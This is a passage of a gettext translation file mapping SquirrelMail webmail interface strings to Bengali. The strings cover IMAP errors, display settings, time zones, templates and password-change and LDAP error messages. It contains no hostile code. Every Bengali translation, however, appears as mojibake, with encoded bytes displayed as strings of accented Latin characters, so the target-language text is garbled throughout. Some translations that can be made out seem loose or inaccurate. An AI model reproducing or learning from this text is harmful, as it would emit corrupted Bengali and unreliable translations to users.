"(āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĒāĻ•ā§āώ⧇ āϏāĻžāϜāĻžāύ⧋ āĻ…āĻ•ā§āώāĻŽ āĻ•āϰ⧁āύ) āϏāĻ¤ā§āϝāϰ āϜāĻ¨ā§āϝ)āĨ¤"

msgid "Your used charset is not supported by your IMAP server."
msgstr "āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āϟ āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĻā§āĻŦāĻžāϰāĻž āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤"

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 12 "
"(Allow server charset search) to false) or choose option 10 (Language "
"settings) and set option 2 (Default charset) to a charset supported by your "
"IMAP server."
msgstr ""
"\"āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ\" āϚāĻžāϞāĻžāύ, ā§Ē āĻ…āĻĒāĻļāύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻ•āϰ⧁āύ (āϏāĻžāϧāĻžāϰāĻŖ āĻ…āĻĒāĻļāύ) āĻāĻŦāĻ‚ ⧧⧍ āϤ⧇ āĻ…āĻĒāĻļāύ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ "
"(āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āϟ āĻ–ā§‹āρāϜāĻž āĻ…āύ⧁āĻŽāϤāĻŋ āĻĻ⧇āĻ“ā§ŸāĻž) āĻŽāĻŋāĻĨā§āϝāĻžāϰ āϜāĻ¨ā§āϝ) āĻŦāĻž ā§§ā§Ļ (āĻ­āĻžāώāĻžāϰ āĻŽāĻžāύāϏāĻŽā§‚āĻš) āĻāĻŦāĻ‚ "
"āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āĻŸā§‡āϰ āϜāĻ¨ā§āϝ ⧍ āĻ…āĻĒāĻļāύ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ (āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ "
"āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āϟ)āĨ¤"

msgid "Out of quota error."
msgstr "āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ, āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ‚āĻļ⧇āϰ āĻ¤ā§āϰ⧁āϟāĻŋāϰ āĻŦāĻžāχāϰ⧇āĨ¤"

msgid ""
"An error occured when SquirrelMail appended a message to the mailbox as "
"listed in this message."
msgstr ""
"āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āϤāĻžāϞāĻŋāĻ•āĻžāĻŦāĻĻā§āϧ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ SquirrelMail āĻāϰ āĻāĻ•āϟāĻŋ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ āĻžāύ⧋āϰ āϏāĻŽā§Ÿ "
"āĻ¤ā§āϰ⧁āϟāĻŋ āĻšā§Ÿā§‡āĻ›āĻŋāϞāĨ¤"

msgid "Your IMAP server returned an error."
msgstr "āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāĻ•āϟāĻŋ āĻ¤ā§āϰ⧁āϟāĻŋ āĻĢ⧇āϰāϤ āĻĒāĻžāĻ āĻŋā§Ÿā§‡āϛ⧇āĨ¤"

msgid "IMAP server closed the connection."
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻ‚āϝ⧋āĻ— āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻāĻŋā§Ÿā§‡āϛ⧇āĨ¤"

msgid "General Message Composition"
msgstr "āϏāĻžāϧāĻžāϰāύ āĻŦāĻžāĻ°ā§āϤāĻž āϰāϚāύāĻž"

msgid "Pop-up window"
msgstr "āĻĒāĻĒ-āφāĻĒ āωāχāĻ¨ā§āĻĄā§‹"

msgid "In-page"
msgstr "āĻĒ⧃āĻˇā§āĻ āĻžā§Ÿ"

msgid "Replying and Forwarding Messages"
msgstr "āϜāĻŦāĻžāĻŦ āĻĻā§‡ā§ŸāĻž āĻāĻŦāĻ‚ āϏāĻžāĻŽāύ⧇ āĻ…āĻ—ā§āϰāϏāϰ āĻŦāĻžāĻ°ā§āϤāĻžāϏāĻŽā§‚āĻš"

msgid "Strip signature when replying"
msgstr "āωāĻ¤ā§āϤāϰ āĻĻ⧇āĻ“ā§ŸāĻžāϰ āϏāĻŽā§Ÿ āϞ⧇āĻ–āĻž āϝ⧇āĻ–āĻžāύ āĻĨ⧇āϕ⧇ āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "Skin"
msgstr "āϰ⧁āĻĒāϰ⧇āĻ–āĻž"

msgid "Icon Theme"
msgstr "āφāχāĻ•āύ āĻŦāĻŋāώ⧟āĻŦāĻ¸ā§āϤ⧁"

msgid "Default font style"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ•ā§āώāϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ"

msgid "Font style"
msgstr "āĻ…āĻ•ā§āώāϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ"

msgid "Font size"
msgstr "āĻ…āĻ•ā§āώāϰ⧇āϰ āφāĻ•āĻžāϰ"

msgid "Default font size"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ•ā§āώāϰ⧇āϰ āφāĻ•āĻžāϰ"

msgid "Enable Fancy Row Mouseover Highlighting"
msgstr "āĻĢā§āϝāĻžāĻ¨ā§āϏāĻŋ āϏāĻžāρāϰāĻŋ āĻŽāĻžāωāϏ āĻ¸ā§āĻŦāĻŽā§āĻŦāϞāĻŋāϤ āφāϞ⧋āĻ•āĻĒāĻžāϤ āϏāĻ•ā§āϰāĻŋ⧟āĻ•āϰāĻŖ"

msgid "Show Flag / Unflag Buttons"
msgstr "āϟāĻŋāĻ• āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰāĻŖ/ āύāĻž āĻ•āϰāĻŖ āĻŦā§‹āϤāĻžāĻŽ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ"

msgid "Enable Message Copy Buttons"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ āĻŦā§‹āϤāĻžāĻŽ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰāĻŖ"

msgid "Use Compact Page Selector"
msgstr "āύāĻŋāĻŦāĻŋ⧜ āĻĒ⧃āĻˇā§āĻ āĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Custom Date Format"
msgstr "āĻŽāĻžāĻĒ āĻ…āύ⧁āϏāĻžāϰ⧇ āϤ⧈āϰ⧀ āϤāĻžāϰāĻŋāĻ– āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰ⧁āύ"

msgid "(Uses format of PHP date() function)"
msgstr "(āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϤāĻžāϰāĻŋāĻ–() āĻĢāĻžāĻ‚āĻļāύ⧇āϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇)"

msgid "Message Display Options"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ⧇āϰ āĻ…āĻĒāĻļāύāϏāĻŽā§‚āĻš"

msgid "Height of inline frame"
msgstr "āχāύāϞāĻžāχāύ āĻĢā§āϰ⧇āĻŽā§‡āϰ āωāĻšā§āϚāϤāĻž"

msgid "Show 'Delete &amp; Prev/Next' Links"
msgstr "āĻĻ⧇āĻ–āĻžāĻ“ 'āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž &amp; āĻĒā§‚āĻ°ā§āĻŦ/āĻĒāϰāĻŦāĻ°ā§āϤ⧀' āϞāĻŋāĻ‚āĻ•āϗ⧁āϞ⧋"

msgid "Translate Special Folders"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰ⧁āύ"

msgid "Save Replies with Original Message"
msgstr "āφāϏāϞ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϏāĻžāĻĨ⧇ āϜāĻŦāĻžāĻŦāϗ⧁āϞ⧋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

#, php-format
msgid "%d Minute"
msgid_plural "%d Minutes"
msgstr[0] "%d āĻŽāĻŋāύāĻŋāϟ"
msgstr[1] "%d āĻŽāĻŋāύāĻŋāϟ"

msgid "Show only subscribed folders"
msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋ āĻĻ⧇āĻ–āĻžāĻ“"

msgid "XP"
msgstr "āĻāĻ•ā§āϏāĻĒāĻŋ"

msgid "Address Book Take"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻ¨ā§‡ā§ŸāĻž"

msgid "IMAP Connection Security"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻ‚āϝ⧋āĻ— āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻž"

msgid "Plain text connection"
msgstr "āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ āϏāĻ‚āϝ⧋āĻ—"

msgid "Secure IMAP (TLS) connection"
msgstr "āωāĻĻā§āĻŦ⧇āĻ—āĻŽā§āĻ•ā§āϤ IMAP (TLS) āϏāĻ‚āϝ⧋āĻ—"

msgid "IMAP STARTTLS connection"
msgstr "IMAP STARTTLS āϏāĻ‚āϝ⧋āĻ—"

msgid ""
"Requires higher PHP version and special functions. See SquirrelMail "
"documentation."
msgstr "āωāĻšā§āϚ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ•āϞāύ āĻāĻŦāĻ‚ āĻŦāĻŋāĻļ⧇āώ āĻĢāĻžāĻ‚āĻļāύ āĻĒā§āĻ°ā§Ÿā§‹āϜāύāĨ¤ SquirrelMai āύāĻĨāĻŋ āĻĻ⧇āϖ⧁āύāĨ¤"

msgid "SMTP Connection Security"
msgstr "SMTP āϏāĻ‚āϝ⧋āĻ— āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻž"

msgid "Disable server-side sorting"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĒāĻ•ā§āώ⧇ āϏāĻžāϜāĻžāύ⧋ āĻ…āĻ•ā§āώāĻŽ āĻ•āϰāĻž"

msgid "Disable server-side thread sorting"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĒāĻ•ā§āώ⧇ āĻĨā§āϰ⧇āĻĄ āϏāĻžāϜāĻžāύ⧋ āĻ…āĻ•ā§āώāĻŽ"

msgid "Search functions"
msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύāĻ•ā§ƒāϤ āĻĢāĻžāĻ‚āĻļāύāϗ⧁āϞ⧋"

msgid "Only basic search"
msgstr "āĻļ⧁āϧ⧁ āĻŽā§‚āϞ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "Only advanced search"
msgstr "āĻļ⧁āϧ⧁ āĻ…āĻ¤ā§āϝāĻ¨ā§āϤ āĻ…āĻ—ā§āϰāϏāϰ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "Both search functions"
msgstr "āωāϭ⧟ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ āĻĢāĻžāĻ‚āĻļāύāϗ⧁āϞ⧋"

msgid "Time Zone Configuration"
msgstr "āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ āĻŦāĻšāĻŋ:āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ"

msgid "Standard GNU C time zones"
msgstr "āφāĻĻāĻ°ā§āĻļ GNU C āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Strict time zones"
msgstr "āĻļāĻ•ā§āϤ āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Custom GNU C time zones"
msgstr "āĻŽāĻžāĻĒ āĻ…āύ⧁āϏāĻžāϰ⧇ āϤ⧈āϰ⧀ GNU C āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Custom strict time zones"
msgstr "āĻŽāĻžāĻĒ āĻ…āύ⧁āϏāĻžāϰ⧇ āϤ⧈āϰ⧀ āĻļāĻ•ā§āϤ, āĻ•ā§œāĻžāφāύ⧁āĻ—āĻ¤ā§āϝ āĻŦāĻž āϏāĻ āĻŋāĻ• āφāϚāϰāύ āĻĒā§āϰāĻ¤ā§āϝāĻžāĻļā§€ āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Size of username field"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽā§‡āϰ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āφāĻ•āĻžāϰ"

msgid "Size of key field"
msgstr "āϕ⧀ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āφāĻ•āĻžāϰ"

msgid "Size of value field"
msgstr "āĻŽāĻžāύāϏāĻŽā§‚āĻšā§‡āϰ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āφāĻ•āĻžāϰ"

msgid "Show alternative language names"
msgstr "āĻŦāĻŋāĻ•āĻ˛ā§āĻĒ āĻ­āĻžāώāĻžāϰ āύāĻžāĻŽāϗ⧁āϞ⧋ āĻĻ⧇āĻ–āĻžāĻ“"

msgid "Enable aggressive decoding"
msgstr "āϝ⧇ āϕ⧋āύ⧋ āĻĒāĻžāϤāĻžā§Ÿ āϝāĻžāĻŦāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Tweaks"
msgstr "āĻŽā§‹āϚ⧜āĻžāύ⧋"

msgid "Use icons"
msgstr "āφāχāĻ•āύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Use inline frames with HTML mails"
msgstr "HTML āĻŽā§‡â€ŒāχāϞ⧇āϰ āϏāĻžāĻĨ⧇ āχāύāϞāĻžāχāύ āĻĢā§āϰ⧇āĻŽ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Use PHP recode functions"
msgstr "āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āĻĒ⧁āύāϕ⧋āĻĄ āĻĢāĻžāĻ‚āĻļāύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Use PHP iconv functions"
msgstr "āĻĒāĻŋāĻāχāϚāĻĒāĻŋ iconv āĻĢāĻžāĻ‚āĻļāύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Allow remote configuration test"
msgstr "āĻĻā§‚āϰāĻŦāĻ°ā§āϤ⧀ āĻŦāĻšāĻŋ:āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻ•āϰ⧁āύ"

msgid "Address book file line length"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻĢāĻžāχāϞ āϞāĻžāχāύ āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ"

msgid "Templates"
msgstr "āĻ–āϏ⧜āĻžāϗ⧁āϞ⧋"

msgid "Default font set"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ•ā§āώāϰ āύāĻŋāϝ⧁āĻ•ā§āϤāĻŋ"

msgid "Default template"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ–āϏ⧜āĻž"

msgid "Fallback template"
msgstr "āĻĢāĻŋāϰ⧇āφāϏāĻž āĻ–āϏ⧜āĻž"

msgid "Warnings were reported in your setup:"
msgstr "āφāĻĒāύāĻžāϰ āϏ⧇āϟāφāĻžāĻĒ⧇ āϏāϤāĻ°ā§āĻ•āĻŦāĻžāύ⧀āϗ⧁āϞ⧋ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύāĻ•ā§ƒāϤ āĻšā§Ÿā§‡āϛ⧇:"

#, php-format
msgid "%d warning(s) reported."
msgstr "%d āϏāϤāĻ°ā§āĻ•āĻŦāĻžāύ⧀(āϗ⧁āϞ⧋) āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Show System Specifications"
msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡āϰ āωāĻ˛ā§āϞ⧇āĻ–āϝ⧋āĻ—ā§āϝ āĻ…āĻ‚āĻļāϗ⧁āϞ⧋ āĻĻ⧇āĻ–āĻžāύ"

msgid "my email account"
msgstr "āφāĻŽāĻžāϰ āχāĻŽā§‡āχāϞ āĻāĻ•āĻžāωāĻ¨ā§āϟ"

msgid "You must type in a new password."
msgstr "āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡ āϞāĻŋāĻ–āϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "You must also type in your new password in the verify box."
msgstr "āĻĒāϰ⧀āĻ•ā§āώāĻž āĻŦāĻžāĻ•ā§āϏ⧇ āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āφāĻĒāύāĻžāϰ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϞāĻŋāĻ–āϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Your new password does not match the verify password."
msgstr "āϝāĻžāϚāĻžāχāĻ•ā§ƒāϤ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡āϰ āϏāĻžāĻĨ⧇ āφāĻĒāύāĻžāϰ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻŽāĻŋāϞāϛ⧇ āύāĻžāĨ¤"

msgid "You must type in your current password."
msgstr "āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āφāĻĒāύāĻžāϰ āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡ āϞāĻŋāĻ–āϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Your current password is not correct."
msgstr "āφāĻĒāύāĻžāϰ āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋ āϏāĻ āĻŋāĻ• āύ⧟āĨ¤"

#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr "āφāĻĒāύāĻžāϰ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ %1$s āĻšāϤ⧇ %2$s āĻ…āĻ•ā§āώāϰ⧇āϰ āĻšāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Your new password contains invalid characters."
msgstr "āφāĻĒāύāĻžāϰ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋ āĻ…āĻŦ⧈āϧ āĻ…āĻ•ā§āώāϰ āϧāĻžāϰāύ āĻ•āϰ⧇āĨ¤"

msgid "Change Password"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Current Password:"
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ:"

msgid "New Password:"
msgstr "āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ:"

msgid "Verify New Password:"
msgstr "āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϝāĻžāϚāĻžāχ āĻ•āϰ⧁āύ:"

msgid "Use this to change your email password."
msgstr "āφāĻĒāύāĻžāϰ āχāĻŽā§‡āχāϞ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ⧇ āĻāϟāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύāĨ¤"

msgid "User's Password"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ"

msgid "Current configuration requires LDAP support in PHP."
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āϏāĻ‚āĻ•āϞāύ⧇āϰ āĻĒāĻŋāĻāχāϚāĻĒāĻŋāϤ⧇ LDAP āϏāĻŽāĻ°ā§āĻĨāύ āĻĒā§āĻ°ā§Ÿā§‹āϜāύāĨ¤"

msgid "Plugin is not configured correctly."
msgstr "āĻĒā§āϞāĻžāĻ—āĻŋāύāϟāĻŋāϕ⧇ āϏāĻ āĻŋāĻ• āĻ­āĻžāĻŦ⧇ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤"

#, php-format
msgid "Setting of LDAP connection option %s to value %s failed."
msgstr "LDAP āϏāĻ‚āϝ⧋āĻ— āĻĒāĻ›āĻ¨ā§āĻĻ⧇āϰ āĻŽāĻžāύāϏāĻŽā§‚āĻšā§‡āϰ %1$s āĻŽāĻžāύ āĻšāϤ⧇ %2$s āϤ⧇ āĻŦā§āϝāĻ°ā§āĻĨāĨ¤"

#, php-format
msgid "Incorrect LDAP connection option: %s"
msgstr "āĻŦ⧇āĻ āĻŋāĻ• LDAP āϏāĻ‚āϝ⧋āĻ— āĻĒāĻ›āĻ¨ā§āĻĻ: %s"

msgid ""
"Current PHP LDAP extension does not allow use of ldap_set_option() function."
msgstr ""
"āĻŦāĻ°ā§āϤāĻŽāĻžāύ PHP LDAP āĻŦāĻ°ā§āϧāĻŋāϤāĻžāĻ‚āĻļ ldap_set_option() āĻĢāĻžāĻ‚āĻļāύ⧇āϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "Unable to use TLS."
msgstr "TLS āĻŦā§āϝāĻŦāĻšāĻžāϰ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

#, php-format
msgid "Error: %s"
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: %s"

msgid "Unable to use LDAP TLS in current setup."
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āϏ⧇āϟāφāĻĒ⧇ LDAP TLS āĻāϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Unable to bind to LDAP server."
msgstr "LDAP āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϝ⧁āĻ•ā§āϤ āĻšāϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

#, php-format
msgid "Server replied: %s"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϜāĻŦāĻžāĻŦ: %s"

msgid "Unable to find user's password attribute."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡āϰ āĻ¸ā§āĻŦāĻžāĻ­āĻžāĻŦāĻŋāĻ• āϗ⧁āĻŖ āϖ⧁āρāĻœā§‡ āĻĒ⧇āϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Unable to rebind to LDAP server."
msgstr "LDAP āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻĒ⧁āύāϰāĻžā§Ÿ āϝ⧁āĻ•ā§āϤ āĻšāϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "LDAP server uses different attribute to store user's password."
msgstr ""
"LDAP āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāϤ⧇ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āύ āĻ¸ā§āĻŦāĻžāĻ­āĻžāĻŦāĻŋāĻ• āϗ⧁āĻŖ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āĨ¤"

msgid "Unable to connect to LDAP server."
msgstr "LADP āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϏāĻ‚āϝ⧋āϗ⧇ āĻŦā§āϝāĻ°ā§āĻĨāĨ¤"

msgid "Unable to find user's DN."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ DN āĻĒ⧇āϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Search error."
msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ⧇ āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

msgid "Multiple userid matches found."
msgstr "āĻāĻ•āĻžāϧāĻŋāĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āφāχāĻĄāĻŋāϰ āĻŽāĻŋāϞ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇āĨ¤"

msgid "ldap_get_dn error."
msgstr "ldap_get_dn āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

#, php-format
msgid "Unsupported crypto: %s"
msgstr "āĻ…āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹: %s"

msgid "PHP mhash extension is missing or does not support selected crypto."
msgstr ""
"āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āĻāĻŽāĻšā§āϝāĻžāϏ āĻŦāĻ°ā§āϧāĻŋāϤāĻžāĻ‚āĻļ āĻšāĻžāϰāĻŋā§Ÿā§‡ āϗ⧇āϛ⧇ āĻŦāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹ āĻĻā§āĻŦāĻžāϰāĻž āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤"

msgid "System crypt library doesn't support standard DES crypt."
msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āφāĻĻāĻ°ā§āĻļ DES āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "System crypt library doesn't have MD5 support."
msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āφāĻĻāĻ°ā§āĻļ MD5 āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "System crypt library doesn't support extended DES crypt."
